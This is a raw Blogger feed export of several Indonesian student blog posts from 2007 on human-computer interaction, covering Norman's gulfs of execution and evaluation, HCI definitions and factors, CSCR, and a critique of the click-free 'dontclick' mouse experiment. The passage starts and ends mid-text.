digambarkan&lt;br /&gt;dengan dua buah gulfs (celah) yaitu the gulf of execution (celah eksekusi) dan the&lt;br /&gt;gulfofevaluation (celah evaluasi )&lt;br /&gt;&lt;br /&gt;Physica&lt;br /&gt;Syistem&lt;br /&gt;&lt;br /&gt;Gulf of&lt;br /&gt;Execution&lt;br /&gt;&lt;br /&gt;Gulf of&lt;br /&gt;Evaluation&lt;br /&gt;&lt;br /&gt;Agar celah tersebut tidak semakin jauh, maka kedua gulfs tersebut harus&lt;br /&gt;&lt;br /&gt;dijembatani sehingga terdapat kecocokan antara sistem yang ada dengan model&lt;br /&gt;mental pemakai. Kedua gulfs dijembatani dalam dua arah, dari arah sistem&lt;br /&gt;dijembatani dengan Evaluation Bridge, sedangkan dari arah sisi pemakai&lt;br /&gt;&lt;br /&gt;dijembatani dengan Execution Bridge&lt;br /&gt;Dapat disimak bahwajembatan dari sisi pemakai (goals)&lt;br /&gt;ke sistem fisikal (physical system) diawali dengan formasi intensi pemakai yang&lt;br /&gt;relevan dengan sistem. Selanjutnya, pemakai menentukan langkah-langkah tindakan&lt;br /&gt;I khusus (action specification) yang tepat guna mengeksekusi sebarisan tindakan itu&lt;br /&gt;&lt;br /&gt;~xecuting the action). Melalui mekanisme antarmuka (interface mechanism),&lt;br /&gt;I-&lt;br /&gt;l~sekusi tindakan ini dijalankan untuk kemudian disampaikan ke sistem. Sistem&lt;br /&gt;&lt;br /&gt;Mneresponnya,yang selanjutnya hasil respon tersebut (output), disampaikan&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Execution Bridai atau ditampilkan lagi kepada pemakai melalui piranti yang tersedia (monitor atau&lt;br /&gt;tampilan antarmuka). Jadi ada 4 komponen yang menjembatani dari sistem pemakai&lt;br /&gt;ke sistem fisikal, yakni formasi intensi, spesifikasi aksi, eksekusi aksi dan&lt;br /&gt;mekanisme antarmuka.&lt;br /&gt;Sedangkan jembatan dari sisi sistem fisikal ke pemakai diawali dengan&lt;br /&gt;tampilan antarmuka (interface display) yang menampilkan output (keluaran) dari&lt;br /&gt;sistem. Output ini kemudian diinterpretasikan oleh pemakai melalui proses&lt;br /&gt;intemalnya (pengolahan persepsinya). Selanjutnya dilakukan evaluasi dengan&lt;br /&gt;membandingkan hasil interpretasi dari status sistem dengan goal dan intensi awal&lt;br /&gt;(original goal). Dalam jembatan ini juga ada 4 (empat) komponen, yaitu tampilan&lt;br /&gt;antarmuka, pengolahan persepsi, interpretasi, dan evaluasi [NOR86].&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-4941549257185021275?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/4941549257185021275/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=4941549257185021275' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/4941549257185021275'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/4941549257185021275'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/hci-artikel-5.html' title='HCI Artikel 5'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eTjLkcqj9WM/RysLKCIob_I/AAAAAAAAAEo/eBLLIRdVfBg/s72-c/hci_haus.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-6571072155564307813</id><published>2007-11-02T04:22:00.000-07:00</published><updated>2007-11-02T04:26:27.757-07:00</updated><title type='text'>HCI Artikel 4</title><content type='html'>&lt;strong&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color:#ff0000;"&gt;(Artikel 4)Interaksi Manusia Komputer (IMK)&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://1.bp.blogspot.com/_eTjLkcqj9WM/RysJRyIob-I/AAAAAAAAAEg/icOBpcpmtCM/s320/hci-pic.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128202801811845090" /&gt;&lt;br /&gt;&lt;br /&gt;    Pada awalnya pengembangan komputer lebih difokuskan pada peningkatan kemampuan dan kecanggihan peralatan komputer, sedangkan dari aspek manusia sebagai user kurang diperhatikan. Hal-hal sederhana seperti kenyamanan dan kemudahan dalam menggunakan komputer jarang diperhatikan.&lt;br /&gt;&lt;br /&gt;    Pada kenyataan sebenarnya, faktor brainware sangat mempengaruhi kinerja sistem komputer itu sendiri. Apabila suatu teknologi lebih mudah dimengerti oleh user maka user dapat menggunakan teknologi itu dengan maksimal. Oleh karena itu, faktor interaksi manusia–komputer pun menjadi salah satu faktor yang sangat penting untuk dipertimbangkan.&lt;br /&gt;&lt;br /&gt;    Pada kondisi dewasa ini, IMK mulai mendapatkan perhatian dari para perancang sistem. Aspek hubungan manusia-komputer mulai dipandang sebagai aspek penting. IMK mulai berkembang setelah PD II. Mula-mula ilmu yang berkaitan adalah biomekanik, antropometri, penelitian mengenai penglihatan, kemudian bergeser ke arah prinsip-prinsip pengembangan representasi informasi.&lt;br /&gt;&lt;br /&gt;    Dalam perkembangan bidang-bidang kegiatan lain yang berhubungan dengan kajian IMK adalah:&lt;br /&gt;Ilmu komputer sebagai kerangka   dasarnya.&lt;br /&gt;Psikologi menyangkut tingkah   laku, persepsi, dan pemrosesan kognitif user&lt;br /&gt;Ergonomi (human aspect),   melihat aspek-aspek titik kenyamanan user sewaktu menggunakan sistem.&lt;br /&gt;Kebebasan melihat komunikasi   antara user-sistem.&lt;br /&gt;Sosiologi, meminjam dampak   sistem manusia-mesin pada sistem kemasyarakatan.&lt;br /&gt;Antropologi, mengamati interaksi   sekelompok manusia dengan mesin.&lt;br /&gt;Desain grafis, mengikuti tuntutan   user yang semakin lebih suka menggunakan grafis sebagai antarmuka dengan   mesin.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Faktor-faktor penting dalam interaksi manusia-komputer antara lain:&lt;br /&gt;Kinerja manusia&lt;br /&gt;&lt;br /&gt;Dalam hal ini mmenyangkut karakteristik dasar manusia dan keterbatasannya seperti fleksibilitas, ketrampilan, kesalahan, kecepatan, dll.  Beberapa aspek khusus tentang ini adalah pemilihan (seperti memodelkan pengguna), pelatihan (misalnya dalam pengambilan keputusan), user support (seperti problem solving).&lt;br /&gt;Kinerja sistem komputer&lt;br /&gt;&lt;br /&gt;Karakteristik dasar dan keterbatasan sistem dengan memandang aspek khusus berkaitan dengan IMK seperti fasilitas bahasa, waktu respon sistem, sekuritas.&lt;br /&gt;Antarmuka perangkat keras&lt;br /&gt;&lt;br /&gt;Display, kontrol, terminal, aplikasi ergonomi untuk desain workstation yang baik, kebutuhan manusia dan peralatan-peralatan baru.&lt;br /&gt;Antarmuka perangkat lunak&lt;br /&gt;&lt;br /&gt;Media komunikasi non-perangkat keras, aspek IMK dari sistem linguistik dan bahasa, organisasi informasi.&lt;br /&gt;Lingkungan&lt;br /&gt;&lt;br /&gt;Fisik: ruang workstation dan layout-nya, pencahayaan, suara, dsb. Psikologikal: pengaruh kelompok kerja, struktur pekerjaan (seperti shift kerja), struktur sistem (open / closed, rigid / flexible, dsb), keadaan sosial dan desain organisasi.&lt;br /&gt;Aplikasi spesifik&lt;br /&gt;&lt;br /&gt;Pengguna spesialis, bisnis, naif, sistem publik.&lt;br /&gt;Problem spesial&lt;br /&gt;&lt;br /&gt;Pengaruh IMK pada desain pekerjaan dan organisasi, serta masyarakat, privasi informaasi personal, kasus-kasus khusus, dokumentasi dan bantuan-bantuan lain, dsb.&lt;br /&gt;&lt;br /&gt;    Pengembangan suatu sistem komputer harus dapat melakukan komunikasi yang nyaman dan mudah. Kendala yang sering terjadi disebabkan perilaku user yang tidak dapat dipastikan. Beberapa karakteristik manusia yang mempengaruhi interaksi manusia dengan sistem komputer, yaitu:&lt;br /&gt;Operasi Dedicated / casual   (apakah operasi yang dihadapi itu terus menerus atau bersifat satu kali   penggunaan)  jenis pekerjaan&lt;br /&gt;Mampu / tidak mampu melakukan   pemrograman&lt;br /&gt;Memiliki daya intelegensia   tinggi / kurang&lt;br /&gt;Terlatih / tidak terlatih&lt;br /&gt;Aktif /  pasif (aktif maksudnya   memulai interaktif, berinisiatif)&lt;br /&gt;Lingkungan pekerjaan bertekanan   atau tidak bertekanan (underpressure / dead line atau tanpa tenggat   waktu)&lt;br /&gt;Perbedaan usia yang mempengaruhi   perbedaan pengalaman, pengetahuan, kemampuan belajar dan adaptasi, kemampuan   fisik&lt;br /&gt;Perbedaan personalitas pengguna&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Teknik-teknik yang dapat digunakan dalam perancangan user interface agar lebih efektif, antara lain:&lt;br /&gt;Menu&lt;br /&gt;Pengisian formulir&lt;br /&gt;Bahasa perintah&lt;br /&gt;Bahasa alami&lt;br /&gt;Manipulasi langsung&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Dalam memilih teknik apa yang akan digunakan perlu diperhatikan faktor-faktor berikut :&lt;br /&gt;Siapa pemakai sistem&lt;br /&gt;Banyaknya aplikasi yang diterapkan   pada komputer yang sama&lt;br /&gt;Komunikasi dalam jaringan&lt;br /&gt;Kerumitan pekerjaan sistem&lt;br /&gt;Panjang operasi&lt;br /&gt;Urutan operasi&lt;br /&gt;Akurasi&lt;br /&gt;Sumber masukan&lt;br /&gt;Faktor-faktor lain seperti:   harga, hardware, kerumitan implementasi, dll.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Dalam konteks interaksi, ada aturan yang dikenal dengan nama ‘7 Golden Rules’, yaitu:&lt;br /&gt;Konsistensi&lt;br /&gt;Keharmonisan kombinasi dengan   ekspresi yang singkat tapi powerfull, misalnya:&lt;br /&gt;singkatan perintah&lt;br /&gt;macro-command&lt;br /&gt;cut &amp;amp; paste&lt;br /&gt;undo-redo&lt;br /&gt;nilai standar (default)&lt;br /&gt;Mengurangi beban kognitif&lt;br /&gt;Interaksi yang dikendalikan   user&lt;br /&gt;Fleksibel&lt;br /&gt;Dialog terstruktur&lt;br /&gt;Error Handling&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-6571072155564307813?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/6571072155564307813/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=6571072155564307813' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/6571072155564307813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/6571072155564307813'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/hci-artikel-4.html' title='HCI Artikel 4'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_eTjLkcqj9WM/RysJRyIob-I/AAAAAAAAAEg/icOBpcpmtCM/s72-c/hci-pic.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-579069064967799847</id><published>2007-11-02T04:14:00.000-07:00</published><updated>2007-11-02T04:22:33.429-07:00</updated><title type='text'></title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;(Artikel 3)Hubungan antara HCI dan CSCR&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://1.bp.blogspot.com/_eTjLkcqj9WM/RysIWyIob9I/AAAAAAAAAEY/Zs8XmpaHGNk/s320/SecHCI.gif" border="0" alt="" id="BLOGGER_PHOTO_ID_5128201788199563218" /&gt;&lt;br /&gt;&lt;br /&gt;CSCR merupakan bidang baru terkait riset masyarakat HCI. CSCR merupakan kelanjutan dari pendahulunya, yaitu Computer Supported Collaborative Work (CSCW) dan Computer Supported Collaborative Learning (CSCL). Keduanya ini merupakan subyek riset HCI hampir sepuluh tahun yang lalu.&lt;br /&gt;&lt;br /&gt;Gambar berikut menampilkan kedudukan dari ketiganya (merupakan bagian dari HCI)&lt;br /&gt;&lt;br /&gt;Gambar CSCR 1&lt;br /&gt;&lt;br /&gt;&lt;img src="http://1.bp.blogspot.com/_eTjLkcqj9WM/RysH7yIob8I/AAAAAAAAAEQ/Yd3t5CI6Tdo/s320/cscr.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5128201324343095234" /&gt;&lt;br /&gt;&lt;br /&gt;Perbedaan utama antara CSCW dan CSCL yaitu bahwa CSCW dikarakteristikan oleh “kebutuhan akan ruang kerja (workingspace)” sedangkan CSCL membutuhkan ruang kerja dan ruang belajar (learningspace)&lt;br /&gt;&lt;br /&gt;Workingspace adalah domain tempat aktivitas-aktivitas berikut berlangsung: communication space, scheduling space, sharing space, dan product space.&lt;br /&gt;&lt;br /&gt;Learning space adalah domain yang memuat seluruh aspek workingspace ditambah dengan aktivitas berikut: reflection space, social space, assessment space, tutor space, dan administration space&lt;br /&gt;&lt;br /&gt;Perbedaan utama antara CSCR dan CSCL adalah bahwa suatu rekord penuh dari seluruh interaksi antar partisipan merupakan tool penting dan dibutuhkan untuk mengevaluasi kontribusi setiap anggota dalam suatu collaboratiob group yang nanti dapat menentukan “suatu share modal yang adil (a fair capital share) apabila proyek riset berjalan dengan sukses.is successful.&lt;br /&gt;&lt;br /&gt;CSCR membutuhkan Workingspace, Learningspace, dan aktivitas-aktivitas berikut: knowledge space, publication space, privacy space, publication space, negotiation space.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-579069064967799847?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/579069064967799847/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=579069064967799847' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/579069064967799847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/579069064967799847'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/artikel-3hubungan-antara-hci-dan-cscr.html' title=''/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_eTjLkcqj9WM/RysIWyIob9I/AAAAAAAAAEY/Zs8XmpaHGNk/s72-c/SecHCI.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-5253984164590440350</id><published>2007-11-02T04:07:00.000-07:00</published><updated>2007-11-02T04:13:59.860-07:00</updated><title type='text'>HCI Artikel 2</title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;span style="color:#ff0000;"&gt;&lt;strong&gt;(Artikel 2)Pengertian HCI&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;img src="http://2.bp.blogspot.com/_eTjLkcqj9WM/RysGXCIob7I/AAAAAAAAAEI/Qp3aO7uw-U4/s320/hci.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128199593471274930" /&gt;&lt;br /&gt;&lt;br /&gt;Ketika komputer pertama kali diperkenalkan secara komersial pada tahun 50-an, mesin ini sangat sulit dipakai dan sangat tidak praktis. Hal demikian karena waktu itu komputer merupakan mesin yang sangat mahal dan besar, hanya dipakai dikalangan tertentu, misalnya para ilmuwan atau ahli-ahli teknik.&lt;br /&gt;Setelah komputer pribadi (PC) diperkenalkan pada tahun 70-an, maka berkembanglah penggunaan teknologi ini secara cepat dan mengagurnkan ke berbagai penjuru kehidupan (pendidikan, perdagangan, pertahanan, perusahaan, dan sebagainya). Kemajuan-kemajuan teknologi tersebut akhirnya juga mempengaruhi rancangan sistem. Sistem rancangan dituntut harus bisa memenuhi kebutuhan pemakai, sistem harus mempunyai kecocokkan dengan kebutuhan pemakai atau suatu sistem yang dirancang harus berorientasi kepada pemakai. Pada awal tahun 70-an ini, juga mulai muncul isu teknik antarmuka pemakai (user interface) yang diketahui sebagai Man-Machine Interaction (MMI) atau Interaksi Manusia-Mesin.&lt;br /&gt;Pada Man-Machine Interaction sudah diterapkan sistem yang "user friendly". Narnun, sifat user friendly pada MMI ini diartikan secara terbatas. User friendly pada MMI hanya dikaitkan dengan aspek-aspek yang berhubungan dengan estetika atau keindahan tampilan pada layar saja. Sistem tersebut hanya menitik beratkan pada aspek rancangan antarmukanya saja, sedangkan faktor-faktor atau aspek-aspek yang berhubungan dengan pemakai baik secara organisasi atau individu belum diperhatikan [PRE94].&lt;br /&gt;Para peneliti akademis mengatakan suatu rancangan sistem yang berorientasi kepada pemakai, yang memperhatikan kapabilitas dan kelemahan pemakai ataupun sistem (komputer) akan memberi kontribusi kepada interaksi manusia-komputer yang lebih baik. Maka pada pertengahan tahun 80-an diperkenalkanlah istilah Human-Computer Interaction (HCI) atau Interaksi Manusia-Komputer.&lt;br /&gt;Pada HCI ini cakupan atau fokus perhatiannya lebih luas, tidak hanya berfokus pada rancangan antarmuka saja, tetapi juga memperhatikan semua aspek yang berhubungan dengan interaksi antara manusia dan komputer. HCI ini kemudian berkembang sebagai disiplin ilmu tersendiri (yang merupakan bidang ilmu interdisipliner) yang membahas hubungan tirnbal balik antara manusia-komputer beserta efek-efek yang terjadi diantaranya.&lt;br /&gt;Oleh Baecker dan Buxton [dalam PRE94] HCI ini didefinisikan sebagai "set of processes, dialogues, and actions through -which a human user employs and interacts with computer". ACM-SGCHI [dalam PRE94] lebih jauh menuliskan definisi tentang HCI sebagai berikut:&lt;br /&gt;--- human-computer interaction is a discipline concerned with the design, evaluation and implementation of interactive computing system for human use and with the study of major phenomena surrounding them. "&lt;br /&gt;Dengan demikian terlihat jelas bahwa fokus perhatian HCI tidak hanya pada keindahan tampilannya saja atau hanya tertuju pada tampilan antarmukanya saja, tetapi juga memperhatikan aspek-aspek pamakai, implementasi sistem rancangannya dan fenomena lingkungannya, dan lainnya. Misalnya, rancangan sistem itu harus memperhatikan kenyamanan pemakai, kemudahan dalam pemakaian, mudah untuk dipelajari dlsb.&lt;br /&gt;Tujuan dari HCI adalah untuk menghasilkan sistem yang bermanfaat (usable) dan aman (safe), artinya sistem tersebut dapat berfungsi dengan baik. Sistem tersebut bisa untuk mengembangkan dan meningkatkan keamanan (safety), utilitas (utility), ketergunaan (usability), efektifitas (efectiveness) dan efisiensinya (eficiency). Sistem yang dimaksud konteksnya tidak hanya pada perangkat keras dan perangkat lunak, tetapi juga mencakup lingkungan secara keseluruhan, baik itu lingkungan organisasi masyarakat kerja atau lingkungan keluarga. Sedangkan utilitas mengacu kepada fungsionalitas sistem atau sistem tersebut dapat meningkatkan efektifitas dan efesiensi kerjanya. Ketergunaan (usability) disini dimaksudkan bahwa sstem yang dibuat tersebut mudah digunakan dan mudah dipelajari baik secara individu ataupun kelompok.&lt;br /&gt;Pendapat Preece, J. di atas didasarkan pada pemikiran yang menyatakan bahwa kepentingan pemakai sistem harus didahulukan, pemakai tidak bisa diubah secara radikal terhadap sistem yang telah ada, sistem yang dirancang harus cocok dengan kebutuhan-kebutuhan pemakai.&lt;br /&gt;Selanjutnya, dalam berinteraksi dengan komputer, para pemakai pertama kali akan berhadapan dengan perangkat keras komputer. Untuk sampai pada isi yang ingin disampaikan oleh perangkat lunak, pemakai dihadapkan terlebih dahulu dengan seperangkat alat seperti papan ketik (keyboard), monitor, mouse, joystick, dan lain-lain. Pemakai harus dapat mengoperasikan seperangkat alat tersebut. Selanjutnya, pemakai akan berhadapan dengan macam-macam tampilan menu, macam-macam perintah yang terdiri dari kata atau kata-kata yang harus diketikkannya, misalnya save, copy, delete, atau macam-macam ikon. Peralatan, perintah, ikon dan lain-lain yang disebutkan di atas dikenal dengan nama interface (antarmuka). Interface ini merupakan lapisan pertama yang langsung bertatap muka dengan pemakai.&lt;br /&gt;&lt;br /&gt;Sistem interaksi itu sendiri juga merupakan bagian dari sistem komputer yang dibuat, sehingga memungkinkan manusia bermteraksi dengan sistem komputer se-efektif mungkin guna memanfaatkan kemampuan pengolahan yang tersedia pada sistem komputer. Salah satu model antarmuka antara manusia dan komputer atau rangkaian kegiatan interaksi manusia-komputer secara sederhana dapat disimak pada gambar di bawah.&lt;br /&gt;&lt;br /&gt;Terlihat bahwa manusia memberi isyarat, atau masukan data kepada sistem pengolah informasi komputer, melalui alat masukan yang tersedia pada sistim komputer (misalnya keyboard). Berdasarkan masukan ini, melalui alat keluarannya (mi~lnya monitor), hasil-hasil pengolahan dari prosesor komputer disajikan kepada manusia. Melalui sensor manusia, seperti penglihatan (mata), pendengaran (telinga), dan peraba, sajian atau masukan-masukan itu kemudian dipantau/dimonitor untuk selanjutnya diteruskan ke sistem pengolah informasi manusia (perceptual processing, intellectual/cognitive processing, dan motor control yang selalu berinteraksi dengan human memory) untuk ditafsirkan.&lt;br /&gt;&lt;br /&gt;Setelah penafsiran dilakukan dan keputusan diambil, maka diteruskanlah perintah ke alat responder manusia (tangan, jari, suara, dan lainnya) untuk melakukan tindak lanjutan yang pada urnumnya diwujudkan berupa masukan kembali ke komputer.&lt;br /&gt;&lt;br /&gt;Rangkaian pesan dan isyarat antara manusia dengan komputer membentuk suatu dialog interaktif, yakni serangkaian aksi dan reaksi yang saling berkaitan. Memperhatikan rangkaian kegiatan interaksi yang terjadi, jelaslah bahwa sifat dari suatu interaksi sangat ditentukan oleh dialog manusia-komputer dan teknologi dari alat masukan serta keluaran yang digunakan [DOW92].&lt;br /&gt;Dengan faktor-faktor yang tercakup pada HCI tersebut, sekarang semakin menjadi jelas peranan HCI di dalam rancangan sistem. la akan mempertinggi kualitas interaksi antara sistem komputer dan manusia. Untuk bisa tercapainya kualitas yang tinggi pada interaksi tersebut, maka secara sistematik perlu diterapkannya pengetahuan tentang tujuan manusia (human goals), kapabilitas dan keterbatasan manusia bersama-sama dengan pengetahuan tentang kapabilitas dan keterbatasan komputer pada sistem. Pengetahuan-pengetahuan yang berhubungan itu selanjutnya untuk mengetahui aspek-aspek fisik, sosial, organisasi dan lingkungan kerja pemakai. Dengan demikian, perancang sistem harus bisa membuat transisi dari 'apa yang dapat dilakukan kepada sistem (functionality)" menjadi 'bagaimana sistem itu harus dilakukan agar cocok dengan pemakai (usability)".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-5253984164590440350?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/5253984164590440350/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=5253984164590440350' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/5253984164590440350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/5253984164590440350'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/hci-artikel-2.html' title='HCI Artikel 2'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eTjLkcqj9WM/RysGXCIob7I/AAAAAAAAAEI/Qp3aO7uw-U4/s72-c/hci.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-415147295683212405</id><published>2007-11-02T03:56:00.001-07:00</published><updated>2007-11-02T04:14:35.985-07:00</updated><title type='text'>HCI Artikel 1</title><content type='html'>&lt;strong&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;(Artikel 1 )Mendekonstruksi Peran Mouse&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://1.bp.blogspot.com/_eTjLkcqj9WM/RysEtyIob6I/AAAAAAAAAEA/fM_9u9Pcrls/s320/what_hci.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128197785290043298" /&gt;&lt;br /&gt;&lt;br /&gt;Kemaren nemu site experimental dontclick. Jadi pingin membahas isu-isu User Interface / Human Computer Interaction lagi.&lt;br /&gt;&lt;br /&gt;Site dontclick merupakan situs research tentang kebiasaan pengguna dengan piranti masukan mouse. Aturannya sederhana saja : penggunanya diharamkan menggunakan tombol atau meng-klik mouse mereka. Semua interaksi menggunakan medium pergerakan kursor pada koordinat x-y layar. Gambar dan informasi yang bersesuaian akan muncul dengan cukup mengarahkan mouse kita ke menu yang kita inginkan. Artinya klik digantikan dengan mode gerakan. Ada berbagai macam eksperimen di situ termasuk juga tutorial serta eksperimen bagaimana kita mengganti klik dengan gerakan sirkular pada layar.&lt;br /&gt;&lt;br /&gt;Jika Anda ternyata mengklik tikus di bawah tangan Anda ketika sedang berkunjung ke sana, maka mereka akan merekamnya. Sengaja atau tidak, mereka akan mengkonfirmasinya. Termasuk keseluruhan gerakan yang Anda lakukan saat bertandang ke situs dontclick. Namanya juga penelitian. Mereka butuh mengerti bagaimana pengalaman pengguna akan membentuk suatu persepsi psikologis kognitif saat mereka menghadapi lingkungan yang baru apalagi mensarahkan meninggalkan kebiasaan lama pengguna komputer. Apakah teknik tersebut bermanfaat dalam mendekati pengguna? Apakah pengguna merasa nyaman atau malah frustasi? Secara ergonomis apakah ada hubungannya antara menghilangkan klik mouse dengan kesehatan manusia? (ini sepertinya berlebihan).&lt;br /&gt;&lt;br /&gt;Saya sendiri salut dengan ide brilian ini. Ternyata bisa juga tombol yang imut itu ditinggalkan. Navigasi web yang smooth dan mudah. Namun sekali lagi ia tidak cukup signifikan untuk diterapkan. Klik tetaplah lebih nyaman. Karena ada hal2 yang tidak tergantikan oleh gerak.&lt;br /&gt;&lt;br /&gt;Pertama adalah real model. Beragam inovasi diluncurkan agar User Interface (UI) semirip mungkin dengan dunia nyata. Pemodelan yang paling sederhana misalnya adalah sebuah tombol (button). Tombol berfungsi untuk memicu sebuah action. Menggunakannya adalah dengan cukup ditekan. Dalam hal ini pemodelan meng-klik mouse lebih mirip menekan tombol daripada sekedar menyentuh atau meraba-raba. Tolong, jangan ngeres ya.&lt;br /&gt;&lt;br /&gt;Kedua yaitu faktor feedback. Mouse mampu menyajikan kemantapan dan kepuasan umpan balik bagi pengguna. Gerakan meng-klik tombol, sensasi sentuhan atas-bawah berpegas, suara ‘klik’ dari mouse lebih mampu membuat pengguna merasa terwakili. Alias lebih marem.&lt;br /&gt;&lt;br /&gt;Alasan lainnya adalah tidak semua menu ingin kita lihat. Jika kita tak sengaja mengarahkan mouse ke menu lain maka akan tampil informasi lain. Hal ini cukup mengganggu jika kita sedang fokus membaca sebuah informasi yang cukup panjang. Akhirnya adalah kita harus selalu waspada dengan keberadaan posisi kursor kita. Salah letak bisa membuat kita berjarak dengan informasi yang kita butuhkan. Capek d!&lt;br /&gt;&lt;br /&gt;Tak kalah penting yaitu alokasi gerakan kursor yang dilakukan oleh UI dontclick akan lebih banyak. Apalagi jika klik diganti dengan gerakan memutar di atas sebuah pilihan. Padahal terlalu banyak menggerakkan mouse hanya untuk mengakses menu merupakan salah satu ciri antarmuka yang kurang bersahabat.&lt;br /&gt;http://bangkumahoni.com&lt;br /&gt;&lt;br /&gt;Oxygen tentukan disain KDE 4 PDF  | Cetak | E-mail&lt;br /&gt;&lt;br /&gt;Generasi mendatang lingkungan desktop KDE 4 yang saat ini gencar disosialisasikan pengembangnya, kecuali ia menyediakan fitur-fitur baru juga akan dipercantik dengan disain icons yang dikembangkan proyek Oxygen.&lt;br /&gt;&lt;br /&gt;Oxygen bukan sekedar koleksi Icons, tapi menurut keterangan Troy Unrau juga menentukan keserasian matoda disain grafis dari KDE 4 secara keseluruhannya. Oxygen belum lama menjadi bagian proyek KDE dan disertakan dalam pengembangan pustaka KDE. Peralihan yang cukup rumit itu, saat ini sedang dalam proses. Job termasuk membersihkan kesemrawutan dalam pemberian nama-nama icon dan penggantian nama sejumlah icon yang ada. Sebagai konsekwensi juga diperlukan perubahan nama dalam kode pemrograman. Karena itu Screenshot Oxygen masih menampilkan campuran icon-icon baru dan lama.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Walaupun kelompok kerja untuk Human Computer Interaction baru-baru ini mengklaim bahwa Oxygen telah menyelesaikan 